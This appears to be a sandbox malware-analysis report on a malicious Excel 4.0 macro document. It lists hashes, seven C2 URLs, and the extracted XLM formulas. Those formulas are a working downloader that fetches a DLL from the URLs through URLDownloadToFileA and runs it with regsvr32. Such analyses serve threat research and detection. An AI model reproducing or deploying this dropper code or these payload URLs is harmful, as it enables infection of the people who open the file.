320e56a2da9a482321e1cba675a0bb771cc2bc35ac24a3f8c22f62514f3947ba

General

Target

320e56a2da9a482321e1cba675a0bb771cc2bc35ac24a3f8c22f62514f3947ba
Size

29KB
Sample

240909-1kynqstejh
MD5

59ca4fae0fe8ee6e31945498d84671a1
SHA1

87e6eeca690e85e4b39def80ceac5ee04f77833f
SHA256

320e56a2da9a482321e1cba675a0bb771cc2bc35ac24a3f8c22f62514f3947ba
SHA512

f8f875ff89c396b845d3c0d4193ddb311316deed501e813236dc7a418be1bd08c4040729f30fae33e1c70d22b4a56a10c7b1eb652e5d46f073d68ca5608e7291
SSDEEP

384:3CGTYRX5Unzt2nmnAcLK5J9AVs6TeEB/g4Bmq3FrEBTqwGFzHUnoCV9RmNCtmxhV:3CGURJUnz0mD4ys2ewg4F32BUH6J948U

Score

10^/10

discovery xlm

Rule

Excel 4.0 XLM Macro

C2

https://www.aulavirtualapecc.com/server/qramDt1UIotz/

https://ingelse.net/Overview/slWIUhVtK/

http://calzadoyuyin.com/cgj-bin/uzOOL/

https://wimmergroup.com/home_tours/Pvnw2/

http://www.arkidecture.com/vendor/5Ibj6pmUm/

http://bizztream.com/images/NS85wHTdIY9N5Ay/

https://www.berekethaber.com/dosyalar/2z6RZL/

Attributes

formulas
=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://www.aulavirtualapecc.com/server/qramDt1UIotz/","..\rfs.dll",0,0) =IF('LFEVE'!F11<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://ingelse.net/Overview/slWIUhVtK/","..\rfs.dll",0,0)) =IF('LFEVE'!F13<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://calzadoyuyin.com/cgj-bin/uzOOL/","..\rfs.dll",0,0)) =IF('LFEVE'!F15<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://wimmergroup.com/home_tours/Pvnw2/","..\rfs.dll",0,0)) =IF('LFEVE'!F17<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.arkidecture.com/vendor/5Ibj6pmUm/","..\rfs.dll",0,0)) =IF('LFEVE'!F19<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://bizztream.com/images/NS85wHTdIY9N5Ay/","..\rfs.dll",0,0)) =IF('LFEVE'!F21<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://www.berekethaber.com/dosyalar/2z6RZL/","..\rfs.dll",0,0)) =IF('LFEVE'!F23<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\rfs.dll") =RETURN()